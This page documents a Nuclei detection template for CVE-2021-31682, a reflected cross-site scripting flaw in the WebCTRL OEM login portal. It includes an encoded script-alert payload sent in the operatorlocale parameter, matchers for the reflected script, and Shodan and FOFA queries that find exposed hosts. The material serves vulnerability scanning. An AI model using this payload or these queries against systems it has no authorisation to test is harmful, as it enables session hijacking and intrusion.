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WebCTRL OEM <= 6.5 - Cross-Site Scripting

ID: CVE-2021-31682

Severity: medium

Author: gy741,dhiyaneshDk

Tags: cve2021,cve,webctrl,xss,packetstorm,automatedlogic

Description

Section titled “Description”

WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-31682


info:
  name: WebCTRL OEM <= 6.5 - Cross-Site Scripting
  author: gy741,dhiyaneshDk
  severity: medium
  description: WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of WebCTRL OEM that addresses the XSS vulnerability (CVE-2021-31682).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31682
    - https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
    - https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
    - http://packetstormsecurity.com/files/164707/WebCTRL-OEM-6.5-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31682
    cwe-id: CWE-79
    epss-score: 0.0116
    epss-percentile: 0.84847
    cpe: cpe:2.3:a:automatedlogic:webctrl:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: automatedlogic
    product: webctrl
    shodan-query:
      - html:"/_common/lvl5/dologin.jsp"
      - http.html:"/_common/lvl5/dologin.jsp"
    fofa-query: body="/_common/lvl5/dologin.jsp"
  tags: cve2021,cve,webctrl,xss,packetstorm,automatedlogic


http:
  - method: GET
    path:
      - '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'common/lvl5'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e2361e2744c79920839925497c9e1caf7eb4a7b5f051458d9bfbc4d05d6ad9760220377d2c0bf00d120eb3fac03d3f082a2c2b90c482173fcadb260cc85568071821:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31682.yaml"

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